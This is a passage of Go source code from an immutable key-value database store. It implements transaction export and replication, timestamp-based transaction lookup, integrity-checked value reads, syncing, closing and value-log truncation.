0, err\n\t}\n\n\ttxOffset := int64(binary.BigEndian.Uint64(cb))\n\ttxSize := int(binary.BigEndian.Uint32(cb[offsetSize:]))\n\n\treturn txOffset, txSize, nil\n}\n\ntype slicedReaderAt struct {\n\tbs  []byte\n\toff int64\n}\n\nfunc (r *slicedReaderAt) ReadAt(bs []byte, off int64) (n int, err error) {\n\tif off < r.off || int(off-r.off) > len(bs) {\n\t\treturn 0, ErrIllegalState\n\t}\n\n\to := int(off - r.off)\n\tavailable := len(r.bs) - o\n\n\tcopy(bs, r.bs[o:minInt(available, len(bs))])\n\n\tif len(bs) > available {\n\t\treturn available, io.EOF\n\t}\n\n\treturn available, nil\n}\n\nfunc (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) ([]byte, error) {\n\terr := s.readTx(txID, allowPrecommitted, skipIntegrityCheck, tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar buf bytes.Buffer\n\n\thdrBs, err := tx.Header().Bytes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar b [lszSize]byte\n\tbinary.BigEndian.PutUint32(b[:], uint32(len(hdrBs)))\n\t_, err = buf.Write(b[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = buf.Write(hdrBs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar isValueTruncated bool\n\n\tfor i, e := range tx.Entries() {\n\t\tvar blen [lszSize]byte\n\n\t\t// kLen\n\t\tbinary.BigEndian.PutUint16(blen[:], uint16(e.kLen))\n\t\t_, err = buf.Write(blen[:sszSize])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// key\n\t\t_, err = buf.Write(e.Key())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar md []byte\n\n\t\tif e.md != nil {\n\t\t\tmd = e.md.Bytes()\n\t\t}\n\n\t\t// mdLen\n\t\tbinary.BigEndian.PutUint16(blen[:], uint16(len(md)))\n\t\t_, err = buf.Write(blen[:sszSize])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// md\n\t\t_, err = buf.Write(md)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// val\n\t\t// TODO: improve value reading implementation, get rid of _valBs\n\t\ts._valBsMux.Lock()\n\n\t\tvar valBuf []byte\n\t\tif e.vLen > len(s._valBs) {\n\t\t\tvalBuf = make([]byte, e.vLen)\n\t\t} else {\n\t\t\tvalBuf = s._valBs[:e.vLen]\n\t\t}\n\n\t\t_, err = s.readValueAt(valBuf, e.vOff, e.hVal, skipIntegrityCheck)\n\t\tif err != nil && !errors.Is(err, io.EOF) {\n\t\t\ts._valBsMux.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif err == nil {\n\t\t\t// currently, either all the values are sent or none\n\t\t\tif isValueTruncated {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: partially truncated transaction\", ErrCorruptedData)\n\t\t\t}\n\n\t\t\t// vLen\n\t\t\tbinary.BigEndian.PutUint32(blen[:], uint32(e.vLen))\n\t\t\t_, err = buf.Write(blen[:])\n\t\t\tif err != nil {\n\t\t\t\ts._valBsMux.Unlock()\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// val\n\t\t\t_, err = buf.Write(valBuf)\n\t\t\tif err != nil {\n\t\t\t\ts._valBsMux.Unlock()\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t} else {\n\t\t\t// error is eof, the value has been truncated,\n\t\t\t// value is not available but digest is written instead\n\n\t\t\t// currently, either all the values are sent or none\n\t\t\tif !isValueTruncated && i > 0 {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: partially truncated transaction\", ErrCorruptedData)\n\t\t\t}\n\n\t\t\tisValueTruncated = true\n\n\t\t\t// vHashLen\n\t\t\tbinary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal)))\n\t\t\t_, err = buf.Write(blen[:])\n\t\t\tif err != nil {\n\t\t\t\ts._valBsMux.Unlock()\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// vHash\n\t\t\t_, err = buf.Write(e.hVal[:])\n\t\t\tif err != nil {\n\t\t\t\ts._valBsMux.Unlock()\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\ts._valBsMux.Unlock()\n\t}\n\n\t// NOTE: adding a boolean to the header to indicate if the transaction has values or not,\n\t// so that ReplicateTx knows if the transaction should be precommited with no values\n\tvar truncatedValByte [1]byte\n\ttruncatedValByte[0] = 0\n\tif isValueTruncated {\n\t\ttruncatedValByte[0] = 1\n\t}\n\n\tbinary.BigEndian.PutUint16(b[:], uint16(len(truncatedValByte)))\n\t_, err = buf.Write(b[:sszSize])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = buf.Write(truncatedValByte[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}\n\nfunc (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*TxHeader, error) {\n\tif len(exportedTx) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\ti := 0\n\n\tif len(exportedTx) < lszSize {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\thdrLen := int(binary.BigEndian.Uint32(exportedTx[i:]))\n\ti += lszSize\n\n\tif len(exportedTx) < i+hdrLen {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\thdr := &TxHeader{}\n\terr := hdr.ReadFrom(exportedTx[i : i+hdrLen])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ti += hdrLen\n\n\ttxSpec, err := s.NewWriteOnlyTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxSpec.metadata = hdr.Metadata\n\n\tvar entries []*EntrySpec = make([]*EntrySpec, 0)\n\n\tfor e := 0; e < hdr.NEntries; e++ {\n\t\tif len(exportedTx) < i+2*sszSize+lszSize {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tkLen := int(binary.BigEndian.Uint16(exportedTx[i:]))\n\t\ti += sszSize\n\n\t\tif len(exportedTx) < i+sszSize+lszSize+kLen {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tkey := make([]byte, kLen)\n\t\tcopy(key, exportedTx[i:])\n\t\ti += kLen\n\n\t\tmdLen := int(binary.BigEndian.Uint16(exportedTx[i:]))\n\t\ti += sszSize\n\n\t\tif len(exportedTx) < i+mdLen {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tvar md *KVMetadata\n\n\t\tif mdLen > 0 {\n\t\t\tmd = newReadOnlyKVMetadata()\n\n\t\t\terr := md.unsafeReadFrom(exportedTx[i : i+mdLen])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\ti += mdLen\n\t\t}\n\n\t\t// value\n\t\tvLen := int(binary.BigEndian.Uint32(exportedTx[i:]))\n\t\ti += lszSize\n\n\t\tif len(exportedTx) < i+vLen {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tentries = append(entries, &EntrySpec{\n\t\t\tKey:      key,\n\t\t\tMetadata: md,\n\t\t\tValue:    exportedTx[i : i+vLen],\n\t\t})\n\n\t\ti += vLen\n\t}\n\n\tvar isTruncated bool\n\n\t// check if there is truncated value information in the transaction\n\tif i < len(exportedTx) {\n\t\t// information for truncated value\n\t\ttLen := int(binary.BigEndian.Uint16(exportedTx[i:]))\n\t\ti += sszSize\n\t\tif len(exportedTx) < i+tLen {\n\t\t\treturn nil, ErrIllegalArguments\n\t\t}\n\n\t\tv := exportedTx[i : i+tLen]\n\t\t// v[0] == 1 means that the value is truncated\n\t\t// validate that the value is either 0 or 1\n\t\tif len(v) > 0 && v[0] > 1 {\n\t\t\treturn nil, ErrIllegalTruncationArgument\n\t\t}\n\t\tisTruncated = v[0] == 1\n\t\ti += tLen\n\t}\n\n\tif i != len(exportedTx) {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\t// add entries to tx\n\tfor _, e := range entries {\n\t\tvar err error\n\t\tif isTruncated {\n\t\t\terr = txSpec.set(e.Key, e.Metadata, nil, digest(e.Value), isTruncated, false)\n\t\t} else {\n\t\t\terr = txSpec.set(e.Key, e.Metadata, e.Value, e.HashValue, isTruncated, false)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\ttxHdr, err := s.precommit(ctx, txSpec, hdr, skipIntegrityCheck)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// wait for syncing to happen before exposing the header\n\terr = s.durablePrecommitWHub.WaitFor(ctx, txHdr.ID)\n\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.commitStateRWMutex.Lock()\n\twaitForCommit := !s.useExternalCommitAllowance\n\ts.commitStateRWMutex.Unlock()\n\n\tif waitForCommit {\n\t\terr = s.commitWHub.WaitFor(ctx, txHdr.ID)\n\t\tif errors.Is(err, watchers.ErrAlreadyClosed) {\n\t\t\treturn nil, ErrAlreadyClosed\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif waitForIndexing {\n\t\t\terr = s.WaitForIndexingUpto(ctx, txHdr.ID)\n\t\t\tif err != nil {\n\t\t\t\treturn txHdr, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn txHdr, nil\n}\n\nfunc (s *ImmuStore) FirstTxSince(ts time.Time) (*TxHeader, error) {\n\tleft := uint64(1)\n\tright := s.LastCommittedTxID()\n\n\tfor left < right {\n\t\tmiddle := left + (right-left)/2\n\n\t\theader, err := s.ReadTxHeader(middle, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif header.Ts < ts.Unix() {\n\t\t\tleft = middle + 1\n\t\t} else {\n\t\t\tright = middle\n\t\t}\n\t}\n\n\theader, err := s.ReadTxHeader(left, false, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif header.Ts < ts.Unix() {\n\t\treturn nil, ErrTxNotFound\n\t}\n\n\treturn header, nil\n}\n\nfunc (s *ImmuStore) LastTxUntil(ts time.Time) (*TxHeader, error) {\n\tleft := uint64(1)\n\tright := s.LastCommittedTxID()\n\n\tfor left < right {\n\t\tmiddle := left + ((right-left)+1)/2\n\n\t\theader, err := s.ReadTxHeader(middle, false, false)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif header.Ts > ts.Unix() {\n\t\t\tright = middle - 1\n\t\t} else {\n\t\t\tleft = middle\n\t\t}\n\t}\n\n\theader, err := s.ReadTxHeader(left, false, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif header.Ts > ts.Unix() {\n\t\treturn nil, ErrTxNotFound\n\t}\n\n\treturn header, nil\n}\n\nfunc (s *ImmuStore) appendableReaderForTx(txID uint64, allowPrecommitted bool) (*appendable.Reader, error) {\n\ts.commitStateRWMutex.Lock()\n\tdefer s.commitStateRWMutex.Unlock()\n\n\tif txID > s.inmemPrecommittedTxID || (!allowPrecommitted && txID > s.committedTxID) {\n\t\treturn nil, ErrTxNotFound\n\t}\n\n\tcacheMiss := false\n\n\ttxbs, err := s.txLogCache.Get(txID)\n\tif err != nil {\n\t\tif errors.Is(err, cache.ErrKeyNotFound) {\n\t\t\tcacheMiss = true\n\t\t} else {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tvar txOff int64\n\tvar txSize int\n\n\tif txID <= s.committedTxID {\n\t\ttxOff, txSize, err = s.txOffsetAndSize(txID)\n\t} else {\n\t\t_, _, txOff, txSize, err = s.cLogBuf.readAhead(int(txID - s.committedTxID - 1))\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar txr io.ReaderAt\n\n\tif cacheMiss {\n\t\ttxr = s.txLog\n\t} else {\n\t\ttxr = &slicedReaderAt{bs: txbs.([]byte), off: txOff}\n\t}\n\treturn appendable.NewReaderFrom(txr, txOff, txSize), nil\n}\n\nfunc (s *ImmuStore) ReadTx(txID uint64, skipIntegrityCheck bool, tx *Tx) error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\treturn s.readTx(txID, false, skipIntegrityCheck, tx)\n}\n\nfunc (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) error {\n\tr, err := s.appendableReaderForTx(txID, allowPrecommitted)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = tx.readFrom(r, skipIntegrityCheck)\n\tif errors.Is(err, io.EOF) {\n\t\treturn fmt.Errorf(\"%w: unexpected EOF while reading tx %d\", ErrCorruptedTxData, txID)\n\t}\n\n\treturn err\n}\n\nfunc (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, skipIntegrityCheck bool) (*TxHeader, error) {\n\tr, err := s.appendableReaderForTx(txID, allowPrecommitted)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck}\n\n\theader, err := tdr.readHeader(s.maxTxEntries)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\te := &TxEntry{k: make([]byte, s.maxKeyLen)}\n\n\tfor i := 0; i < header.NEntries; i++ {\n\t\terr = tdr.readEntry(e)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\thtree, err := htree.New(header.NEntries)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = tdr.buildAndValidateHtree(htree)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn header, nil\n}\n\nfunc (s *ImmuStore) ReadTxEntry(txID uint64, key []byte, skipIntegrityCheck bool) (*TxEntry, *TxHeader, error) {\n\tvar ret *TxEntry\n\n\tr, err := s.appendableReaderForTx(txID, false)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\ttdr := &txDataReader{r: r, skipIntegrityCheck: skipIntegrityCheck}\n\n\theader, err := tdr.readHeader(s.maxTxEntries)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\te := &TxEntry{k: make([]byte, s.maxKeyLen)}\n\n\tfor i := 0; i < header.NEntries; i++ {\n\t\terr = tdr.readEntry(e)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\tif bytes.Equal(e.key(), key) {\n\t\t\tif ret != nil {\n\t\t\t\treturn nil, nil, ErrCorruptedTxDataDuplicateKey\n\t\t\t}\n\t\t\tret = e\n\n\t\t\t// Allocate new placeholder for scanning the rest of entries\n\t\t\te = &TxEntry{k: make([]byte, s.maxKeyLen)}\n\t\t}\n\t}\n\tif ret == nil {\n\t\treturn nil, nil, ErrKeyNotFound\n\t}\n\n\thtree, err := htree.New(header.NEntries)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\terr = tdr.buildAndValidateHtree(htree)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn ret, header, nil\n}\n\n// ReadValue returns the actual associated value to a key at a specific transaction\n// ErrExpiredEntry is be returned if the specified time has already elapsed\nfunc (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) {\n\tif entry == nil || !entry.readonly {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif entry.md != nil && !entry.md.readonly {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif entry.md != nil && entry.md.ExpiredAt(time.Now()) {\n\t\treturn nil, ErrExpiredEntry\n\t}\n\n\tif entry.vLen == 0 {\n\t\t// while not required, nil is returned instead of an empty slice\n\n\t\t// TODO: this step should be done after reading the value to ensure proper validations are made\n\t\t// But current changes in ExportTx with truncated transactions are not providing the value length\n\t\t// for truncated transactions, making it impossible to differentiate an empty value with a truncated one\n\t\treturn nil, nil\n\t}\n\n\tb := make([]byte, entry.vLen)\n\n\t_, err := s.readValueAt(b, entry.vOff, entry.hVal, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}\n\n// readValueAt fills b with the value referenced by off\n// expected value size and digest may be required for validations to pass\nfunc (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, skipIntegrityCheck bool) (n int, err error) {\n\tvLogID, offset := decodeOffset(off)\n\n\tif !s.embeddedValues && vLogID == 0 && len(b) > 0 {\n\t\treturn 0, io.EOF // it means value was not stored on any vlog i.e. a truncated transaction was replicated\n\t}\n\n\tif len(b) > 0 {\n\t\tfoundInTheCache := false\n\n\t\tif s.vLogCache != nil {\n\t\t\tval, err := s.vLogCache.Get(off)\n\t\t\tif err == nil {\n\t\t\t\tbval := val.([]byte) // the requested value was found in the value cache\n\t\t\t\tcopy(b, bval)\n\t\t\t\tn = len(bval)\n\t\t\t\tfoundInTheCache = true\n\t\t\t} else if !errors.Is(err, cache.ErrKeyNotFound) {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\n\t\tif !foundInTheCache {\n\t\t\tvLog, err := s.fetchVLog(vLogID)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\tdefer s.releaseVLog(vLogID)\n\n\t\t\tn, err = vLog.ReadAt(b, offset)\n\t\t\tif errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) {\n\t\t\t\treturn n, ErrAlreadyClosed\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn n, err\n\t\t\t}\n\n\t\t\tif s.vLogCache != nil {\n\t\t\t\tcb := make([]byte, n)\n\t\t\t\tcopy(cb, b)\n\n\t\t\t\t_, _, err = s.vLogCache.Put(off, cb)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn n, err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// either value was empty (n == 0)\n\t// or a non-empty value (n > 0) was read from cache or disk\n\n\tif !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) {\n\t\treturn n, fmt.Errorf(\"%w: value length or digest mismatch\", ErrCorruptedData)\n\t}\n\n\treturn n, nil\n}\n\nfunc (s *ImmuStore) validateEntries(entries []*EntrySpec) error {\n\tif len(entries) > s.maxTxEntries {\n\t\treturn ErrMaxTxEntriesLimitExceeded\n\t}\n\n\tm := make(map[string]struct{}, len(entries))\n\n\tfor _, kv := range entries {\n\t\tif kv.Key == nil {\n\t\t\treturn ErrNullKey\n\t\t}\n\n\t\tif len(kv.Key) > s.maxKeyLen {\n\t\t\treturn ErrMaxKeyLenExceeded\n\t\t}\n\t\tif len(kv.Value) > s.maxValueLen {\n\t\t\treturn ErrMaxValueLenExceeded\n\t\t}\n\n\t\tks := slices.BytesToString(kv.Key)\n\t\tif _, ok := m[ks]; ok {\n\t\t\treturn ErrDuplicatedKey\n\t\t}\n\t\tm[ks] = struct{}{}\n\t}\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) validatePreconditions(preconditions []Precondition) error {\n\tif len(preconditions) > s.maxTxEntries {\n\t\treturn ErrInvalidPreconditionTooMany\n\t}\n\n\tfor _, c := range preconditions {\n\t\tif c == nil {\n\t\t\treturn ErrInvalidPreconditionNull\n\t\t}\n\n\t\terr := c.Validate(s)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (s *ImmuStore) Sync() error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\treturn s.sync()\n}\n\nfunc (s *ImmuStore) sync() error {\n\ts.commitStateRWMutex.Lock()\n\tdefer s.commitStateRWMutex.Unlock()\n\n\tif s.inmemPrecommittedTxID == s.committedTxID {\n\t\t// everything already synced\n\t\treturn nil\n\t}\n\n\tfor i := range s.vLogs {\n\t\tvLog, err := s.fetchVLog(i + 1)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer s.releaseVLog(i + 1)\n\n\t\terr = vLog.Flush()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = vLog.Sync()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr := s.txLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.txLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.durablePrecommitWHub.DoneUpto(s.inmemPrecommittedTxID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcommitAllowedUpToTxID := s.commitAllowedUpTo()\n\ttxsCountToBeCommitted := int(commitAllowedUpToTxID - s.committedTxID)\n\n\tif txsCountToBeCommitted == 0 {\n\t\treturn nil\n\t}\n\n\t// will overwrite partially written and uncommitted data\n\terr = s.cLog.SetOffset(int64(s.committedTxID) * int64(s.cLogEntrySize))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar commitUpToTxID uint64\n\tvar commitUpToTxAlh [sha256.Size]byte\n\n\tfor i := 0; i < txsCountToBeCommitted; i++ {\n\t\ttxID, alh, txOff, txSize, err := s.cLogBuf.readAhead(i)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcb := make([]byte, s.cLogEntrySize)\n\t\tbinary.BigEndian.PutUint64(cb, uint64(txOff))\n\t\tbinary.BigEndian.PutUint32(cb[offsetSize:], uint32(txSize))\n\n\t\tif s.cLogEntrySize == cLogEntrySizeV2 {\n\t\t\tcopy(cb[offsetSize+lszSize:], alh[:])\n\t\t}\n\n\t\t_, _, err = s.cLog.Append(cb)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tcommitUpToTxID = txID\n\t\tcommitUpToTxAlh = alh\n\t}\n\n\t// added as a safety fuse but this situation should NOT happen\n\tif commitUpToTxID != commitAllowedUpToTxID {\n\t\treturn fmt.Errorf(\"%w: may commit up to %d but actual transaction to be committed is %d\", ErrUnexpectedError, commitAllowedUpToTxID, commitUpToTxID)\n\t}\n\n\terr = s.cLog.Flush()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.cLog.Sync()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = s.cLogBuf.advanceReader(txsCountToBeCommitted)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts.committedTxID = commitUpToTxID\n\ts.committedAlh = commitUpToTxAlh\n\n\ts.commitWHub.DoneUpto(commitUpToTxID)\n\n\treturn nil\n}\n\nfunc (s *ImmuStore) IsClosed() bool {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\treturn s.closed\n}\n\nfunc (s *ImmuStore) Close() error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\ts.closed = true\n\n\tmerr := multierr.NewMultiErr()\n\n\tfor _, indexer := range s.indexers {\n\t\terr := indexer.Close()\n\t\tmerr.Append(err)\n\t}\n\n\tfor i := range s.vLogs {\n\t\tvLog, err := s.fetchVLog(i + 1)\n\t\tmerr.Append(err)\n\n\t\terr = vLog.Close()\n\t\tmerr.Append(err)\n\n\t\terr = s.releaseVLog(i + 1)\n\t\tmerr.Append(err)\n\t}\n\n\terr := s.inmemPrecommitWHub.Close()\n\tmerr.Append(err)\n\n\terr = s.durablePrecommitWHub.Close()\n\tmerr.Append(err)\n\n\terr = s.commitWHub.Close()\n\tmerr.Append(err)\n\n\terr = s.txLog.Close()\n\tmerr.Append(err)\n\n\terr = s.cLog.Close()\n\tmerr.Append(err)\n\n\terr = s.aht.Close()\n\tmerr.Append(err)\n\n\tused, _, _ := s.txPool.Stats()\n\tif used > 0 {\n\t\tmerr.Append(errors.New(\"not all tx holders were released\"))\n\t}\n\n\treturn merr.Reduce()\n}\n\nfunc (s *ImmuStore) wrapAppendableErr(err error, action string) error {\n\tif errors.Is(err, singleapp.ErrAlreadyClosed) || errors.Is(err, multiapp.ErrAlreadyClosed) {\n\t\ts.logger.Warningf(\"Got '%v' while '%s'\", err, action)\n\t\treturn ErrAlreadyClosed\n\t}\n\n\treturn err\n}\n\nfunc minInt(a, b int) int {\n\tif a <= b {\n\t\treturn a\n\t}\n\treturn b\n}\n\nfunc maxUint64(a, b uint64) uint64 {\n\tif a <= b {\n\t\treturn b\n\t}\n\treturn a\n}\n\nfunc minUint64(a, b uint64) uint64 {\n\tif a >= b {\n\t\treturn b\n\t}\n\treturn a\n}\n\n// readTxOffsetAt reads the value-log offset of a specific entry (index) in a transaction (txID)\n// txID is the transaction ID\n// index is the index of the entry in the transaction\n// allowPrecommitted indicates if a precommitted transaction can be read\nfunc (s *ImmuStore) readTxOffsetAt(txID uint64, allowPrecommitted bool, index int) (*TxEntry, error) {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\tr, err := s.appendableReaderForTx(txID, allowPrecommitted)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttdr := &txDataReader{r: r}\n\n\thdr, err := tdr.readHeader(s.maxTxEntries)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif hdr.NEntries < index {\n\t\treturn nil, ErrTxEntryIndexOutOfRange\n\t}\n\n\te := &TxEntry{k: make([]byte, s.maxKeyLen)}\n\n\tfor i := 0; i < index; i++ {\n\t\terr = tdr.readEntry(e)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn e, nil\n}\n\n// TruncateUptoTx deletes the value-log file up to transactions\n// that are strictly below the specified minTxID.\nfunc (s *ImmuStore) TruncateUptoTx(minTxID uint64) error {\n\t/*\n\t\tWhen values are appended to the value log file, they are not\n\t\tinserted in strict monotic order of time. Depending on the\n\t\tmaxConcurrency value, there could be n transactions trying\n\t\tto insert into the log at the same time. This could lead to\n\t\tthe situation where a transaction (n+1) could be inserted\n\t\tin the value log before transaction (n)\n\t\t\t\t\t\t  discard point\n\t\t\t\t\t\t\t\t|\n\t\t\t\t\t\t\t\tv\n\t\t\t\t--------+-------+--------+----------\n\t\t\t\t\t\t|       |        |\n\t\t\t\t\ttn+1:vx   tn:vx  tn-1:vx\n\t\t\t\t\t\t|                |\n\t\t\t\t\t\t+----------------+\n\t\t\t\t\t\tmax concurrency\n\t\t\t\t\t\t\trange\n\t\tIf the log is truncated upto tn, it could lead to removal of\n\t\tdata for tn+1. To avoid this overlap, we first go back from\n\t\tthe discard point to fetch offsets across vlogs for safe delete\n\t\tpoints, and then check for transactions further than the\n\t\tdiscard point to figure out the least offset from the range\n\t\twhich can safely be deleted. This offset, tn+1 in the above\n\t\tscenario is the safest point to discard upto to avoid deletion\n\t\tof values for any future transaction.\n\t*/\n\n\ts.logger.Infof(\"running truncation up to transaction '%d'\", minTxID)\n\n\tif s.embeddedValues {\n\t\ts.logger.Infof(\"truncation with embedded values does not delete any data\")\n\t\treturn nil\n\t}\n\n\t// tombstones maintain the minimum offset for each value log file that can be safely deleted.\n\ttombstones := make(map[byte]int64)\n\n\treadFirstEntryOffset := func(id uint64) (*TxEntry, error) {\n\t\treturn s.readTxOffsetAt(id, false, 1)\n\t}\n\n\tback := func(txID uint64) error {\n\t\tfirstTxEntry, err := readFirstEntryOffset(txID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Iterate over past transactions and store the minimum offset for each value log file.\n\t\tvLogID, off := decodeOffset(firstTxEntry.VOff())\n\t\tif _, ok := tombstones[vLogID]; !ok {\n\t\t\ttombstones[vLogID] = off\n\t\t}\n\t\treturn nil\n\t}\n\n\tfront := func(txID uint64) error {\n\t\tfirstTxEntry, err := readFirstEntryOffset(txID)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Check if any future transaction offset lies before past transaction(s)\n\t\t// If so, then update the offset to the minimum offset for that value log file.\n\t\tvLogID, off := decodeOffset(firstTxEntry.VOff())\n\t\tif val, ok := tombstones[vLogID]; ok {\n\t\t\tif off < val {\n\t\t\t\ttombstones[vLogID] = off\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\t// Walk back to get offsets across vlogs which can be deleted safely.\n\t// This way, we can calculate the minimum offset for each value log file.\n\t{\n\t\tvar i uint64 = minTxID\n\t\tfor i > 0 && len(tombstones) != s.MaxIOConcurrency() {\n\t\t\terr := back(i)\n\t\t\t// if there is an error reading a transaction, stop the traversal and return the error.\n\t\t\tif err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ {\n\t\t\t\ts.logger.Errorf(\"failed to fetch transaction %d {traversal=back, err = %v}\", i, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ti--\n\t\t}\n\t}\n\n\t// Walk front to check if any future transaction offset lies before past transaction(s)\n\t{\n\t\t// Check for transactions upto the last committed transaction to avoid deletion of values for any future transaction.\n\t\tmaxTxID := s.LastCommittedTxID()\n\t\ts.logger.Infof(\"running truncation check between transaction '%d' and '%d'\", minTxID, maxTxID)\n\n\t\t// TODO: add more integration tests\n\t\t// Iterate over all future transactions to check if any offset lies before past transaction(s) offset.\n\t\tfor j := minTxID; j <= maxTxID; j++ {\n\t\t\terr := front(j)\n\t\t\tif err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ {\n\t\t\t\ts.logger.Errorf(\"failed to fetch transaction %d {traversal=front, err = %v}\", j, err)\n\t\t\t\treturn 